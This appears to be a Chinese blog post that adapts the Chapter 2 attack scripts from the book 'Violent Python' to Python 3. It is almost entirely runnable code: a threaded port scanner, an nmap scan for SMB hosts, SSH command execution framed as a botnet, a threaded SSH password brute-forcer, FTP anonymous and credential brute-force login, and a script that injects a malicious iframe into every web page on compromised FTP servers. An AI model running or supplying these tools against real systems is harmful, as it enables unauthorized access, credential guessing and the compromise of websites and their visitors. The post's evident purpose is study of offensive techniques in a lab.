python绝技在python3中的代码第二章

 

一、教材36页代码在python3.7windows平台中

#!C:\Python37
# -*- coding:utf-8 -*-

import socket
from socket import *
import optparse
from threading import *

screenLock = Semaphore(value=1)
def connScanner(tgtHost,tgtPort):
    try:
        connScoket = socket(AF_INET,SOCK_STREAM)
        connScoket.connect((tgtHost,int(tgtPort)))
        connScoket.send('ViolentPython\r\n')
        results = connScoket.recv(1024)

        screenLock.acquire()
        print("[+]%d port is open"%(int(tgtPort)))
        print(str(results))

    except Exception as  e:
        screenLock.acquire()
        print("[-]%d port is close!\n"%(int(tgtPort)))


    finally:
        screenLock.release()
        connScoket.close()
        return


def portScanner(tgtHost,tgtPorts):

    try:
        tgtIP = gethostbyname(tgtHost)
    except:
        print('[-]Cannot resolve %s :Unknown host'%(tgtHost))
        return
    try:
        tgtName = gethostbyaddr(tgtIP)
        print('[+]sanner results for :%s'%(tgtName))
    except:
        print('[+]sanner results for :%s' % (tgtIP))

    setdefaulttimeout(1)
    for port in tgtPorts:
        print("[*]scanner for port:%s"%(port))
        #connScanner(tgtIP,port)
        t=Thread(target=connScanner,args=(tgtIP,port))
        t.start()



def main():

    parse = optparse.OptionParser('usage% -H <host name> -p <port number>')
    parse.add_option('-H' , dest = 'tgtHost' , type = 'string' , help = 'specify a host name')
    parse.add_option('-p' , dest = 'tgtPorts' , type = 'string' , help= 'spcify ports number')
    (options ,args) =parse.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPorts).split(',')
    
    if (tgtHost == None)|(tgtPorts[0] == None):
        print(parse.usage)
        return
    
    portScanner(tgtHost,tgtPorts)
    return

if __name__ == '__main__':
    main()

二、教材37页nmap,该实验在windows平台中很难进行,因此选择在ubuntu 18 中进行,python3.6,使用的是python3-nmaphttps://pypi.org/project/python3-nmap/。代码如下:

import nmap3


def findTgts(subnet):
    nmScan = nmap3.Nmap()
    results=nmScan.nmap_subnet_scan(subnet,'-p 445')

    #print(results)
    tgthosts=[]

    for line in results:
        #print(line)
        #print(line['ports'])
        for port in line['ports']:
            #print(port)
            if port['state'] == 'open':
                tgthosts.append(line['addr'])
    #print(tgthosts)
    return tgthosts

if __name__ == '__main__':

    subnet = '192.168.190.0/24'
    findTgts(subnet)

三、ssh僵尸网络,使用的是pexpect 4.6.0 https://pypi.org/search/?q=pexpect+&o=,直接pip安装,pexpect在使用上与教材差别较大

教材40页代码

from pexpect import pxssh

def sendCommand(ps,cmd):
    ps.sendline(cmd)
    ps.prompt()
    print(ps.before)
    return

def connect(user,host,password):
    try:
        ps = pxssh.pxssh()
        ps.login(host,user,password)
        #print(ps.before)
        return ps

    except Exception as e:
        #print("Error")
        print(e)
        exit(0)

if __name__ == '__main__':
    user = 'user'
    host = '127.0.0.1'
    password = '123456'
    cmd = 'cd / && ls'
    ps=connect(user,host,password)
    sendCommand(ps,cmd)

 

或者是 使用教材中的代码。例如:

def connect(user,host,password):
    ssh_newkey = 'Are you sure you want to continue'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[p|P]assword:'])
    #print(ret)
    if ret == 0:
        print('[-]Error Connecting')
        return
    if ret == 1:
        child.sendline('yes')
        ret1 =child.expect([pexpect.TIMEOUT,'[p|P]assword:'])
        if ret1 == 0:
            rint('[-]Error Connecting')
            return
    child.sendline(password)
    ret = child.expect([pexpect.TIMEOUT,'#','$','>','>>'])
    print(ret)
    #print(child.before)

 

四、42页代码

from pexpect import pxssh

def sendCommand(ps,cmd):
    ps.sendline(cmd)
    ps.prompt()
    print(ps.before)
    return

def connect(user,host,password):
    try:
        ps = pxssh.pxssh()
        ps.login(host,user,password)
        #print(ps.before)
        return ps

    except Exception as e:
        #print("Error")
        print(e)
        exit(0)

if __name__ == '__main__':
    user = 'user'
    host = '127.0.0.1'
    password = '123456'
    cmd = 'cd / && ls'
    ps=connect(user,host,password)
    sendCommand(ps,cmd)

 

五 43页代码,在代码中opt的代码没有编写

from pexpect import pxssh
from threading import *
import optparse
import time

maxConnectings =5
connection_lock = BoundedSemaphore(value=maxConnectings)


Found = False
Fails = 0

def connect(user,host,password,release):
    global Fails
    global Found
    try:
        ps = pxssh.pxssh()
        ps.login(server=host,username=user,password=password)

        #print(ps.before)
        print('[+]user:%s,password:%s login host:%s :\n'%(user,password,host))
        Found = True


    except Exception as e:
        #print(e)
        if 'read_nonblocking' in str(e):
            Fails +=1
            time.sleep(5)
            connect(user,host,password,False)
        elif 'synchronize with original prompt' in str(e):
            Fails +=1
            time.sleep(1)
            connect(user,host,password,False)

    finally:
        if release :
            connection_lock.release()


def main_ssch(user,host,passwords):
    global Found
    global Fails
   

    for password in passwords:
        if Found:
            print("[*]Exiting:passwotd Found")
            exit(0)

        if Fails > 5:
            print('[*] Too many socket timeouts:\n')
            exit(0)

        connection_lock.acquire()
        password = password.strip('\r').strip('\n ')
        #print('[*]Testing :%s' % password)
        t = Thread(target=connect, args=(user, host, password, True))
        child = t.start()


def main():
    global Found
    users = ['test','user']
    hosts = ['127.0.0.1','192.168.190.182']
    passwords = ['admin','test','123456']
    for host in hosts:
        print('[*]test for host:%s\n'%host)
        if Found ==True:
            Found=False
        for user in users:
            main_ssch(user,host,passwords)


if __name__ == '__main__':

    main()
   
六 ftplib使用

1 简单使用

import ftplib


ftpcon =ftplib.FTP()

try:

    ftpcon.connect("192.168.190.133",21,20)
    try:
        ftpcon.login('user','123456')

        result=ftpcon.sendcmd('pwd')
        print(result)
        print(ftpcon.pwd())
        
    except:
        exit(0)

except Exception as e:
    print(e)

2 匿名登录

import ftplib


def anonymousLogin(hostname):
    try:
        connectftp=ftplib.FTP(hostname)
        connectftp.login('anonymous','test')
        print('\n[+] ftphost:%s,anonymous login success!\n'%str(hostname))
        connectftp.quit()
        return True
    except Exception as e:
        print('[-]%s host anonymous Logon failed\n')
        return False


def main():
    host = '192.168.190.133'
    anonymousLogin(host)

if __name__ == '__main__':
    main()
 

3 、58页代码

import ftplib
import optparse

import time

def anonymousLogon(host):
    try:
        ftp = ftplib.FTP(host)
        ftp.login('anonymous','test')
        print('\n[*] %s FTP Anonymous Logon Successded.\n'%str(host))
        ftp.quit()
        return True
    except Exception as e:
        print('[-]%s FTP anonymous loggon failed\n'%host)
        return False

def bruteFTPLogin(host,userpasswordFile):
    try:
        f = open(userpasswordFile,'r')
    except Exception as e:
        print("[-]%s not found\n"%str(userpasswordFile))
        exit(0)

    for line in f.readlines():
        time.sleep(1)
        line =line.strip('\n ')
        user = line.split(':')[0].strip()
        password = line.split(':')[1].strip('\r ')
        print('[*]Trying %s:%s\n'%(user,password))

        try:
            ftp = ftplib.FTP(host)
            ftp.login(user,password)
            print('[+]%s ,%s,%s FTP loggon succeeded\n'%(host,user,password))
            ftp.quit()
            return (user,password)

        except Exception as e:
            pass

    print('\n[-]Could not brute force FTp credentials.\n')
    return (None,None)

def returnDefault(ftp):
    #ftp=ftplib.FTP()
    try:
        dirlist = ftp.nlst()
        print("\n[*]FTP file list is:",dirlist)
        print("\n")
    except Exception as e :
        dirlist = []
        print('[-] Could not list directory contents.\n')
        print('[-] Skipping to next target\n')
        return

    retlist = []
    for filename in dirlist:
        line =str(filename).lower()
        if '.html' in line or '.htm' in line or '.asp' in line or '.php' in line:
            print("[+]Found default page:"+filename)
            retlist.append(filename)

    return retlist


def Injectpages(ftp,page,redirect):
    #ftp = ftplib.FTP()

    try:
        f = open(page + '.tmp','w')
    except Exception as e:
        print("[-]"+str(e))
        return
    try:
        ftp.retrlines('RETR '+page,f.write)
        print('[+]Download page:%s\n'%str(page))
        f.write(redirect)
        f.close()
        print('[+]Injected milicious IFRame on:'+page)
        ftp.storlines('STOR '+page,open(page+'.tmp','rb'))
        print('[+]upload the page:'+page+'\n')
    except Exception as e:
        print(e)
        return


def attack(username,password,tgthost,redirect):
    try:
        ftp = ftplib.FTP(tgthost)
        ftp.login(username,password)
        pages = returnDefault(ftp)
        for page in pages:
            Injectpages(ftp,page,redirect)
        ftp.quit()
        return

    except Exception as e:
        print(e)
        return

def main():
   

    parse = optparse.OptionParser('usage:-H <target host[s]> -r <redirect page> [-f <userpassword file>]')

    parse.add_option('-H' ,dest='tgtHosts',type= 'string',help='target host or hosts')
    parse.add_option('-r',dest='redirect',type='string',help='redirect page')
    parse.add_option('-f' ,dest='userpassword',type='string',help='user and passwrd file')

    (options,args) = parse.parse_args()

    hosts = options.tgtHosts
    redirect = options.redirect
    userpassword = options.userpassword

    if (hosts == None)|(redirect==None):
        print(parse.usage)
        return

    hostlist = str(hosts).strip('\n ').split(',')
    #print(hostlist)
    for host in hostlist:
        #print(host)
        user=None
        password = None
        if anonymousLogon(host)==True:
            user ="anonymous"
            password = "test"
            print('[+]Using Anonymous Creds to attack host:%s\n'%(host))
            attack(user,password,host,redirect)
        elif userpassword !=None:
            (user,password)=bruteFTPLogin(host,userpassword)

        if password!=None:

            print('[+]Using user:%s,password:%s Creds to attack host:%s\n'%(user,password,host))
            attack(user,password,host,redirect)

    return

if __name__ == '__main__':
    main()

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值